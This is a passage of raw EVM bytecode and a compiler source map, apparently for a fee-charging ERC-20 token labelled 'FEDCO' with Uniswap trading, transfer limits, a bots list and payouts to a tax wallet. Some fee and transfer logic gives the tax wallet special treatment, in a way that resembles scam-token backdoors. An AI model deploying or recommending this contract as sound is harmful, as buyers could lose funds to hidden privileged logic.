f565b348015610288575f80fd5b506101af600d5481565b34801561029d575f80fd5b5061021f6105d3565b3480156102b1575f80fd5b505f546040516001600160a01b039091168152602001610163565b3480156102d7575f80fd5b506101af600e5481565b3480156102ec575f80fd5b50604080518082019091526005815264464544434f60d81b6020820152610156565b348015610319575f80fd5b5061018b610328366004611570565b6107f4565b348015610338575f80fd5b506101af610800565b34801561034c575f80fd5b506101af61035b3660046115f3565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610390575f80fd5b5061021f61081a565b5f6103a533848461088a565b5060015b92915050565b6103bb6009600a61171e565b6103c990632faf080061172c565b81565b5f6103d96009600a61171e565b6103e89064174876e80061172c565b905090565b5f6103f98484846109ae565b61044a8433610445856040518060600160405280602881526020016118c0602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610def565b61088a565b5060019392505050565b6004546001600160a01b0316336001600160a01b031614610473575f80fd5b305f9081526001602052604090205480156104915761049181610e27565b4780156104a1576104a181610f97565b5050565b5f546001600160a01b031633146104d75760405162461bcd60e51b81526004016104ce90611743565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105485760405162461bcd60e51b81526004016104ce90611743565b6105546009600a61171e565b6105639064174876e80061172c565b600d556105726009600a61171e565b6105819064174876e80061172c565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b16009600a61171e565b6105c09064174876e80061172c565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105fc5760405162461bcd60e51b81526004016104ce90611743565b601054600160a01b900460ff16156106565760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ce565b600f546106839030906001600160a01b03166106746009600a61171e565b6104459064174876e80061172c565b6010805460ff60b01b1916600160b01b179055600f546001600160a01b031663f305d71947306106c7816001600160a01b03165f9081526001602052604090205490565b5f806106da5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610740573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107659190611778565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107de91906117a3565b506010805460ff60a01b1916600160a01b179055565b5f6103a53384846109ae565b61080c6009600a61171e565b6103c990633b9aca0061172c565b5f546001600160a01b031633146108435760405162461bcd60e51b81526004016104ce90611743565b476108555f546001600160a01b031690565b6001600160a01b03166108fc8290811502906040515f60405180830381858888f193505050501580156104a1573d5f803e3d5ffd5b6001600160a01b0383166108ec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ce565b6001600160a01b03821661094d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ce565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a125760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ce565b6001600160a01b038216610a745760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ce565b5f8111610ad55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ce565b601054600160b01b900460ff161580610af75750601054600160a81b900460ff165b15610b0c57610b07838383610fce565b505050565b5f80546001600160a01b03858116911614801590610b3757505f546001600160a01b03848116911614155b8015610b5157506004546001600160a01b03848116911614155b15610dd357610b826064610b7c600954600c5411610b7157600554610b75565b6007545b8590611071565b906110f6565b6010549091506001600160a01b038581169116148015610bb05750600f546001600160a01b03848116911614155b8015610bd457506001600160a01b0383165f9081526003602052604090205460ff16155b15610cba57600d54821115610c2b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104ce565b600e5482610c4d856001600160a01b03165f9081526001602052604090205490565b610c5791906117c2565b1115610ca55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ce565b600c8054905f610cb4836117d5565b91905055505b6010546001600160a01b038481169116148015610ce057506001600160a01b0384163014155b15610d0d57610d0a6064610b7c600a54600c5411610d0057600654610b75565b6008548590611071565b90505b305f90815260016020526040902054601054600160a81b900460ff16158015610d4357506010546001600160a01b038581169116145b8015610d585750601054600160b01b900460ff165b8015610d7c5750610d6b6009600a61171e565b610d7990633b9aca0061172c565b81115b8015610d8b5750600b54600c54115b15610dd157610dbf610dba84610db584610da76009600a61171e565b610db590632faf080061172c565b611137565b610e27565b478015610dcf57610dcf47610f97565b505b505b610ddd848461114b565b610de9848484846112ce565b50505050565b5f8184841115610e125760405162461bcd60e51b81526004016104ce9190611524565b505f610e1e84866117ed565b95945050505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e6d57610e6d611800565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ec4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ee89190611814565b81600181518110610efb57610efb611800565b6001600160a01b039283166020918202929092010152600f54610f21913091168461088a565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f599085905f9086903090429060040161182f565b5f604051808303815f87803b158015610f70575f80fd5b505af1158015610f82573d5f803e3d5ffd5b50506010805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104a1573d5f803e3d5ffd5b6001600160a01b0383165f90815260016020526040902054610ff090826112f8565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461101e9082611339565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109a19085815260200190565b5f825f0361108057505f6103a9565b5f61108b838561172c565b90508261109885836118a0565b146110ef5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ce565b9392505050565b5f6110ef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611397565b5f81831161114557826110ef565b50919050565b6001600160a01b0382165f9081526003602052604090205460ff168061118857506001600160a01b0381165f9081526003602052604090205460ff165b801561119d57506001600160a01b0382163014155b80156111b257506001600160a01b0381163014155b156111bc57436012555b6001600160a01b0382165f9081526003602052604090205460ff161580156111fc57506001600160a01b0381165f9081526003602052604090205460ff16155b156104a1576010546001600160a01b03828116911614611299576001600160a01b038082165f90815260116020526040902060105490918481169116036112675780545f03610b0757600b54600c54106112565743611261565b6112616001436117ed565b90555050565b6001600160a01b0383165f90815260116020526040902081548154108061128d57508154155b15610de9575490555050565b6001600160a01b0382165f90815260116020526040902060125481546112be916112f8565b6001820155426002909101555050565b5f6112da8583856113c3565b90506112f18585836112ec87876112f8565b611473565b5050505050565b5f6110ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610def565b5f8061134583856117c2565b9050838110156110ef5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ce565b5f81836113b75760405162461bcd60e51b81526004016104ce9190611524565b505f610e1e84866118a0565b6004545f9081906001600160a01b03908116908616036113ef576013546113ea9084611071565b6113f1565b825b9050831561146b57305f908152600160205260409020546114129085611339565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114629088815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461149590836112f8565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546114c39082611339565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115169085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461156d575f80fd5b50565b5f8060408385031215611581575f80fd5b823561158c81611559565b946020939093013593505050565b5f805f606084860312156115ac575f80fd5b83356115b781611559565b925060208401356115c781611559565b929592945050506040919091013590565b5f602082840312156115e8575f80fd5b81356110ef81611559565b5f8060408385031215611604575f80fd5b823561160f81611559565b9150602083013561161f81611559565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561167857815f190482111561165e5761165e61162a565b8085161561166b57918102915b93841c9390800290611643565b509250929050565b5f8261168e575060016103a9565b8161169a57505f6103a9565b81600181146116b057600281146116ba576116d6565b60019150506103a9565b60ff8411156116cb576116cb61162a565b50506001821b6103a9565b5060208310610133831016604e8410600b84101617156116f9575081810a6103a9565b611703838361163e565b805f19048211156117165761171661162a565b029392505050565b5f6110ef60ff841683611680565b80820281158282048414176103a9576103a961162a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f6060848603121561178a575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156117b3575f80fd5b815180151581146110ef575f80fd5b808201808211156103a9576103a961162a565b5f600182016117e6576117e661162a565b5060010190565b818103818111156103a9576103a961162a565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611824575f80fd5b81516110ef81611559565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561187f5784516001600160a01b03168352938301939183019160010161185a565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826118ba57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a4fa8fe283c2865b96ae1eb21df35240405ece9a670b8b8b7a6a8e8e75d19ef964736f6c63430008190033

4282:10434:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6585:83;;;;;;;;;;-1:-1:-1;6655:5:0;;;;;;;;;;;;-1:-1:-1;;;6655:5:0;;;;6585:83;;;;;;;:::i;:::-;;;;;;;;7418:161;;;;;;;;;;-1:-1:-1;7418:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;7418:161:0;893:187:1;5230:63:0;;;;;;;;;;;;;:::i;:::-;;;1231:25:1;;;1219:2;1204:18;5230:63:0;1085:177:1;6862:95:0;;;;;;;;;;;;;:::i;7587:311::-;;;;;;;;;;-1:-1:-1;7587:311:0;;;;;:::i;:::-;;:::i;6771:83::-;;;;;;;;;;-1:-1:-1;6771:83:0;;4952:1;1870:36:1;;1858:2;1843:18;6771:83:0;1728:184:1;13842:362:0;;;;;;;;;;;;;:::i;:::-;;6965:119;;;;;;;;;;-1:-1:-1;6965:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7058:18:0;7031:7;7058:18;;;:9;:18;;;;;;;6965:119;2204:148;;;;;;;;;;;;;:::i;13502:160::-;;;;;;;;;;;;;:::i;5300:56::-;;;;;;;;;;;;;;;;14212:464;;;;;;;;;;;;;:::i;1990:79::-;;;;;;;;;;-1:-1:-1;2028:7:0;2055:6;1990:79;;-1:-1:-1;;;;;2055:6:0;;;2315:51:1;;2303:2;2288:18;1990:79:0;2169:203:1;5363:58:0;;;;;;;;;;;;;;;;6676:87;;;;;;;;;;-1:-1:-1;6748:7:0;;;;;;;;;;;;-1:-1:-1;;;6748:7:0;;;;6676:87;;7092:167;;;;;;;;;;-1:-1:-1;7092:167:0;;;;;:::i;:::-;;:::i;5153:70::-;;;;;;;;;;;;;:::i;7267:143::-;;;;;;;;;;-1:-1:-1;7267:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7375:18:0;;;7348:7;7375:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7267:143;13670:164;;;;;;;;;;;;;:::i;7418:161::-;7493:4;7510:39;864:10;7533:7;7542:6;7510:8;:39::i;:::-;-1:-1:-1;7567:4:0;7418:161;;;;;:::o;5230:63::-;5280:13;4952:1;5280:2;:13;:::i;:::-;5268:25;;:9;:25;:::i;:::-;5230:63;:::o;6862:95::-;6915:7;5010:13;4952:1;5010:2;:13;:::i;:::-;4995:28;;:12;:28;:::i;:::-;6935:14;;6862:95;:::o;7587:311::-;7685:4;7702:36;7712:6;7720:9;7731:6;7702:9;:36::i;:::-;7749:119;7758:6;864:10;7778:89;7816:6;7778:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7778:19:0;;;;;;:11;:19;;;;;;;;864:10;7778:33;;;;;;;;;;:37;:89::i;:::-;7749:8;:119::i;:::-;-1:-1:-1;7886:4:0;7587:311;;;;;:::o;13842:362::-;13906:10;;-1:-1:-1;;;;;13906:10:0;864;-1:-1:-1;;;;;13892:24:0;;13884:33;;;;;;13967:4;13928:20;7058:18;;;:9;:18;;;;;;13988:16;;13984:79;;14021:30;14038:12;14021:16;:30::i;:::-;14094:21;14130:14;;14126:71;;14161:24;14174:10;14161:12;:24::i;:::-;13873:331;;13842:362::o;2204:148::-;2117:6;;-1:-1:-1;;;;;2117:6:0;864:10;2117:22;2109:67;;;;-1:-1:-1;;;2109:67:0;;;;;;;:::i;:::-;;;;;;;;;2311:1:::1;2295:6:::0;;2274:40:::1;::::0;-1:-1:-1;;;;;2295:6:0;;::::1;::::0;2274:40:::1;::::0;2311:1;;2274:40:::1;2342:1;2325:19:::0;;-1:-1:-1;;;;;;2325:19:0::1;::::0;;2204:148::o;13502:160::-;2117:6;;-1:-1:-1;;;;;2117:6:0;864:10;2117:22;2109:67;;;;-1:-1:-1;;;2109:67:0;;;;;;;:::i;:::-;5010:13:::1;4952:1;5010:2;:13;:::i;:::-;4995:28;::::0;:12:::1;:28;:::i;:::-;13557:12;:20:::0;5010:13:::1;4952:1;5010:2;:13;:::i;:::-;4995:28;::::0;:12:::1;:28;:::i;:::-;13588:14;:23:::0;13627:27:::1;5010:13;4952:1;5010:2;:13;:::i;:::-;4995:28;::::0;:12:::1;:28;:::i;:::-;13627:27;::::0;1231:25:1;;;1219:2;1204:18;13627:27:0::1;;;;;;;13502:160::o:0;14212:464::-;2117:6;;-1:-1:-1;;;;;2117:6:0;864:10;2117:22;2109:67;;;;-1:-1:-1;;;2109:67:0;;;;;;;:::i;:::-;14278:11:::1;::::0;-1:-1:-1;;;14278:11:0;::::1;;;14277:12;14269:47;;;::::0;-1:-1:-1;;;14269:47:0;;5015:2:1;14269:47:0::1;::::0;::::1;4997:21:1::0;5054:2;5034:18;;;5027:30;5093:25;5073:18;;;5066:53;5136:18;;14269:47:0::1;4813:347:1::0;14269:47:0::1;14359:16;::::0;14327:59:::1;::::0;14344:4:::1;::::0;-1:-1:-1;;;;;14359:16:0::1;5010:13;4952:1;5010:2;:13;:::i;:::-;4995:28;::::0;:12:::1;:28;:::i;14327:59::-;14397:11;:18:::0;;-1:-1:-1;;;;14397:18:0::1;-1:-1:-1::0;;;14397:18:0::1;::::0;;14426:16:::1;::::0;-1:-1:-1;;;;;14426:16:0::1;:32;14466:21;14497:4;14503:24;14497:4:::0;-1:-1:-1;;;;;7058:18:0;7031:7;7058:18;;;:9;:18;;;;;;;6965:119;14503:24:::1;14528:1;14530::::0;14532:7:::1;2028::::0;2055:6;-1:-1:-1;;;;;2055:6:0;;1990:79;14532:7:::1;14426:130;::::0;::::1;::::0;;;-1:-1:-1;;;;;;14426:130:0;;;-1:-1:-1;;;;;5524:15:1;;;14426:130:0::1;::::0;::::1;5506:34:1::0;5556:18;;;5549:34;;;;5599:18;;;5592:34;;;;5642:18;;;5635:34;5706:15;;;5685:19;;;5678:44;14540:15:0::1;5738:19:1::0;;;5731:35;5440:19;;14426:130:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;14574:14:0::1;::::0;14606:16:::1;::::0;14567:72:::1;::::0;-1:-1:-1;;;14567:72:0;;-1:-1:-1;;;;;14606:16:0;;::::1;14567:72;::::0;::::1;6262:51:1::0;-1:-1:-1;;6329:18:1;;;6322:34;14574:14:0;::::1;::::0;-1:-1:-1;14567:30:0::1;::::0;6235:18:1;;14567:72:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;14650:11:0::1;:18:::0;;-1:-1:-1;;;;14650:18:0::1;-1:-1:-1::0;;;14650:18:0::1;::::0;;14212:464::o;7092:167::-;7170:4;7187:42;864:10;7211:9;7222:6;7187:9;:42::i;5153:70::-;5210:13;4952:1;5210:2;:13;:::i;:::-;5197:26;;:10;:26;:::i;13670:164::-;2117:6;;-1:-1:-1;;;;;2117:6:0;864:10;2117:22;2109:67;;;;-1:-1:-1;;;2109:67:0;;;;;;;:::i;:::-;13752:21:::1;13792:7;2028::::0;2055:6;-1:-1:-1;;;;;2055:6:0;;1990:79;13792:7:::1;-1:-1:-1::0;;;;;13784:25:0::1;:42;13810:15;13784:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;7906:335:::0;-1:-1:-1;;;;;7999:19:0;;7991:68;;;;-1:-1:-1;;;7991:68:0;;6851:2:1;7991:68:0;;;6833:21:1;6890:2;6870:18;;;6863:30;6929:34;6909:18;;;6902:62;-1:-1:-1;;;6980:18:1;;;6973:34;7024:19;;7991:68:0;6649:400:1;7991:68:0;-1:-1:-1;;;;;8078:21:0;;8070:68;;;;-1:-1:-1;;;8070:68:0;;7256:2:1;8070:68:0;;;7238:21:1;7295:2;7275:18;;;7268:30;7334:34;7314:18;;;7307:62;-1:-1:-1;;;7385:18:1;;;7378:32;7427:19;;8070:68:0;7054:398:1;8070:68:0;-1:-1:-1;;;;;8149:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8201:32;;1231:25:1;;;8201:32:0;;1204:18:1;8201:32:0;;;;;;;;7906:335;;;:::o;8249:1971::-;-1:-1:-1;;;;;8342:18:0;;8334:68;;;;-1:-1:-1;;;8334:68:0;;7659:2:1;8334:68:0;;;7641:21:1;7698:2;7678:18;;;7671:30;7737:34;7717:18;;;7710:62;-1:-1:-1;;;7788:18:1;;;7781:35;7833:19;;8334:68:0;7457:401:1;8334:68:0;-1:-1:-1;;;;;8421:16:0;;8413:64;;;;-1:-1:-1;;;8413:64:0;;8065:2:1;8413:64:0;;;8047:21:1;8104:2;8084:18;;;8077:30;8143:34;8123:18;;;8116:62;-1:-1:-1;;;8194:18:1;;;8187:33;8237:19;;8413:64:0;7863:399:1;8413:64:0;8510:1;8496:11;:15;8488:69;;;;-1:-1:-1;;;8488:69:0;;8469:2:1;8488:69:0;;;8451:21:1;8508:2;8488:18;;;8481:30;8547:34;8527:18;;;8520:62;-1:-1:-1;;;8598:18:1;;;8591:39;8647:19;;8488:69:0;8267:405:1;8488:69:0;8574:11;;-1:-1:-1;;;8574:11:0;;;;8573:12;;:22;;-1:-1:-1;8589:6:0;;-1:-1:-1;;;8589:6:0;;;;8573:22;8570:113;;;8613:37;8628:4;8634:2;8638:11;8613:14;:37::i;:::-;8249:1971;;;:::o;8570:113::-;8695:17;2055:6;;-1:-1:-1;;;;;8733:15:0;;;2055:6;;8733:15;;;;:32;;-1:-1:-1;2028:7:0;2055:6;-1:-1:-1;;;;;8752:13:0;;;2055:6;;8752:13;;8733:32;:49;;;;-1:-1:-1;8772:10:0;;-1:-1:-1;;;;;8768:14:0;;;8772:10;;8768:14;;8733:49;8729:1391;;;8810:81;8887:3;8810:72;8837:15;;8827:9;;:25;8826:55;;8867:14;;8826:55;;;8854:12;;8826:55;8810:11;;:15;:72::i;:::-;:76;;:81::i;:::-;8920:14;;8798:93;;-1:-1:-1;;;;;;8912:22:0;;;8920:14;;8912:22;:57;;;;-1:-1:-1;8952:16:0;;-1:-1:-1;;;;;8938:31:0;;;8952:16;;8938:31;;8912:57;:85;;;;-1:-1:-1;;;;;;8975:22:0;;;;;;:18;:22;;;;;;;;8973:24;8912:85;8908:445;;;9063:12;;9048:11;:27;;9018:126;;;;-1:-1:-1;;;9018:126:0;;8879:2:1;9018:126:0;;;8861:21:1;8918:2;8898:18;;;8891:30;8957:27;8937:18;;;8930:55;9002:18;;9018:126:0;8677:349:1;9018:126:0;9223:14;;9209:11;9193:13;9203:2;-1:-1:-1;;;;;7058:18:0;7031:7;7058:18;;;:9;:18;;;;;;;6965:119;9193:13;:27;;;;:::i;:::-;:44;;9163:144;;;;-1:-1:-1;;;9163:144:0;;9363:2:1;9163:144:0;;;9345:21:1;9402:2;9382:18;;;9375:30;9441:28;9421:18;;;9414:56;9487:18;;9163:144:0;9161:350:1;9163:144:0;9326:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8908:445;9376:14;;-1:-1:-1;;;;;9372:18:0;;;9376:14;;9372:18;:43;;;;-1:-1:-1;;;;;;9394:21:0;;9410:4;9394:21;;9372:43;9369:179;;;9448:84;9528:3;9448:75;9475:16;;9465:9;;:26;9464:58;;9507:15;;9464:58;;;9493:13;;9448:11;;:15;:75::i;:84::-;9436:96;;9369:179;9613:4;9564:28;7058:18;;;:9;:18;;;;;;9640:6;;-1:-1:-1;;;9640:6:0;;;;9638:8;:30;;;;-1:-1:-1;9654:14:0;;-1:-1:-1;;;;;9650:18:0;;;9654:14;;9650:18;9638:30;:45;;;;-1:-1:-1;9672:11:0;;-1:-1:-1;;;9672:11:0;;;;9638:45;:106;;;;-1:-1:-1;5210:13:0;4952:1;5210:2;:13;:::i;:::-;5197:26;;:10;:26;:::i;:::-;9704:20;:40;9638:106;:156;;;;;9776:18;;9764:9;;:30;9638:156;9634:475;;;9828:74;9845:56;9849:11;9862:38;9866:20;5280:13;4952:1;5280:2;:13;:::i;:::-;5268:25;;:9;:25;:::i;:::-;9862:3;:38::i;9845:56::-;9828:16;:74::i;:::-;9950:21;9994:20;;9990:104;;10039:35;10052:21;10039:12;:35::i;:::-;9809:300;9634:475;8783:1337;8729:1391;10132:24;10147:4;10153:2;10132:14;:24::i;:::-;10167:45;10182:4;10187:2;10190:11;10202:9;10167:14;:45::i;:::-;8323:1897;8249:1971;;;:::o;3476:190::-;3562:7;3598:12;3590:6;;;;3582:29;;;;-1:-1:-1;;;3582:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3622:9:0;3634:5;3638:1;3634;:5;:::i;:::-;3622:17;3476:190;-1:-1:-1;;;;;3476:190:0:o;12859:535::-;5935:6;:13;;-1:-1:-1;;;;5935:13:0;-1:-1:-1;;;5935:13:0;;;12960:16:::1;::::0;;12974:1:::1;12960:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12960:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12960:16:0::1;12936:40;;13005:4;12987;12992:1;12987:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12987:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13031:16:::1;::::0;:23:::1;::::0;;-1:-1:-1;;;13031:23:0;;;;:16;;;::::1;::::0;:21:::1;::::0;:23:::1;::::0;;::::1;::::0;12987:7;;13031:23;;;;;:16;:23:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13021:4;13026:1;13021:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13021:33:0;;::::1;:7;::::0;;::::1;::::0;;;;;:33;13124:16:::1;::::0;13065:113:::1;::::0;13096:4:::1;::::0;13124:16:::1;13156:11:::0;13065:8:::1;:113::i;:::-;13189:16;::::0;:197:::1;::::0;-1:-1:-1;;;13189:197:0;;-1:-1:-1;;;;;13189:16:0;;::::1;::::0;:67:::1;::::0;:197:::1;::::0;13271:11;;13189:16:::1;::::0;13313:4;;13340::::1;::::0;13360:15:::1;::::0;13189:197:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5971:6:0;:14;;-1:-1:-1;;;;5971:14:0;;;-1:-1:-1;;;;12859:535:0:o;13402:92::-;13459:10;;:27;;-1:-1:-1;;;;;13459:10:0;;;;:27;;;;;13479:6;;13459:10;:27;:10;:27;13479:6;13459:10;:27;;;;;;;;;;;;;;;;;;;11311:251;-1:-1:-1;;;;;11420:15:0;;;;;;:9;:15;;;;;;:32;;11440:11;11420:19;:32::i;:::-;-1:-1:-1;;;;;11402:15:0;;;;;;;:9;:15;;;;;;:50;;;;11479:13;;;;;;;:30;;11497:11;11479:17;:30::i;:::-;-1:-1:-1;;;;;11463:13:0;;;;;;;:9;:13;;;;;;;:46;;;;11525:29;;;;;;;;;;11542:11;1231:25:1;;1219:2;1204:18;;1085:177;4027:246:0;4085:7;4109:1;4114;4109:6;4105:47;;-1:-1:-1;4139:1:0;4132:8;;4105:47;4162:9;4174:5;4178:1;4174;:5;:::i;:::-;4162:17;-1:-1:-1;4207:1:0;4198:5;4202:1;4162:17;4198:5;:::i;:::-;:10;4190:56;;;;-1:-1:-1;;;4190:56:0;;11718:2:1;4190:56:0;;;11700:21:1;11757:2;11737:18;;;11730:30;11796:34;11776:18;;;11769:62;-1:-1:-1;;;11847:18:1;;;11840:31;11888:19;;4190:56:0;11516:397:1;4190:56:0;4264:1;4027:246;-1:-1:-1;;;4027:246:0:o;3674:132::-;3732:7;3759:39;3763:1;3766;3759:39;;;;;;;;;;;;;;;;;:3;:39::i;12753:98::-;12810:7;12837:1;12835;:3;12834:9;;12842:1;12834:9;;;-1:-1:-1;12840:1:0;12753:98;-1:-1:-1;12753:98:0:o;11570:1173::-;-1:-1:-1;;;;;11646:24:0;;;;;;:18;:24;;;;;;;;;:49;;-1:-1:-1;;;;;;11673:22:0;;;;;;:18;:22;;;;;;;;11646:49;11645:76;;;;-1:-1:-1;;;;;;11700:21:0;;11716:4;11700:21;;11645:76;:99;;;;-1:-1:-1;;;;;;11725:19:0;;11739:4;11725:19;;11645:99;11640:161;;;11777:12;11761:13;:28;11640:161;-1:-1:-1;;;;;11818:24:0;;;;;;:18;:24;;;;;;;;11817:25;:50;;;;-1:-1:-1;;;;;;11845:22:0;;;;;;:18;:22;;;;;;;;11844:23;11817:50;11813:923;;;11887:14;;-1:-1:-1;;;;;11887:21:0;;;:14;;:21;11883:842;;-1:-1:-1;;;;;11957:13:0;;;11929:25;11957:13;;;:9;:13;;;;;11993:14;;11957:13;;11993:22;;;:14;;:22;11989:496;;12044:16;;;:21;12040:153;;12123:18;;12113:9;;:28;:56;;12157:12;12113:56;;;12142:14;12155:1;12142:12;:14;:::i;:::-;12094:75;;-1:-1:-1;;8249:1971:0:o;11989:496::-;-1:-1:-1;;;;;12271:15:0;;12241:27;12271:15;;;:9;:15;;;;;12334:16;;12313:18;;:37;;:62;;-1:-1:-1;12356:16:0;;:18;12313:62;12309:157;;;12424:18;12405:37;;-1:-1:-1;;13842:362:0:o;11883:842::-;-1:-1:-1;;;;;12555:15:0;;12525:27;12555:15;;;:9;:15;;;;;12635:13;;12612:18;;:37;;:22;:37::i;:::-;12589:20;;;:60;12694:15;12668:23;;;;:41;11570:1173;;:::o;10594:284::-;10731:15;10747:47;10765:4;10771:9;10782:11;10747:17;:47::i;:::-;10731:63;-1:-1:-1;10805:65:0;10825:4;10831:2;10731:63;10843:26;:11;10859:9;10843:15;:26::i;:::-;10805:19;:65::i;:::-;10720:158;10594:284;;;;:::o;3334:136::-;3392:7;3419:43;3423:1;3426;3419:43;;;;;;;;;;;;;;;;;:3;:43::i;3147:179::-;3205:7;;3237:5;3241:1;3237;:5;:::i;:::-;3225:17;;3266:1;3261;:6;;3253:46;;;;-1:-1:-1;;;3253:46:0;;12120:2:1;3253:46:0;;;12102:21:1;12159:2;12139:18;;;12132:30;12198:29;12178:18;;;12171:57;12245:18;;3253:46:0;11918:351:1;3814:205:0;3916:7;3951:12;3944:5;3936:28;;;;-1:-1:-1;;;3936:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3975:9:0;3987:5;3991:1;3987;:5;:::i;10886:417::-;11032:10;;10986:7;;;;-1:-1:-1;;;;;11032:10:0;;;11023:19;;;;:65;;11059:12;;:29;;11076:11;11059:16;:29::i;:::-;11023:65;;;11045:11;11023:65;11005:83;-1:-1:-1;11103:13:0;;11099:172;;11178:4;11160:24;;;;:9;:24;;;;;;:39;;11189:9;11160:28;:39::i;:::-;11151:4;11133:24;;;;:9;:24;;;;;;;:66;;;;11219:40;;-1:-1:-1;;;;;11219:40:0;;;;;;;11249:9;1231:25:1;;1219:2;1204:18;;1085:177;11219:40:0;;;;;;;;11099:172;11288:7;10886:417;-1:-1:-1;;;;10886:417:0:o;10228:360::-;-1:-1:-1;;;;;10391:15:0;;;;;;:9;:15;;;;;;:31;;10411:10;10391:19;:31::i;:::-;-1:-1:-1;;;;;10373:15:0;;;;;;;:9;:15;;;;;;:49;;;;10449:13;;;;;;;:32;;10467:13;10449:17;:32::i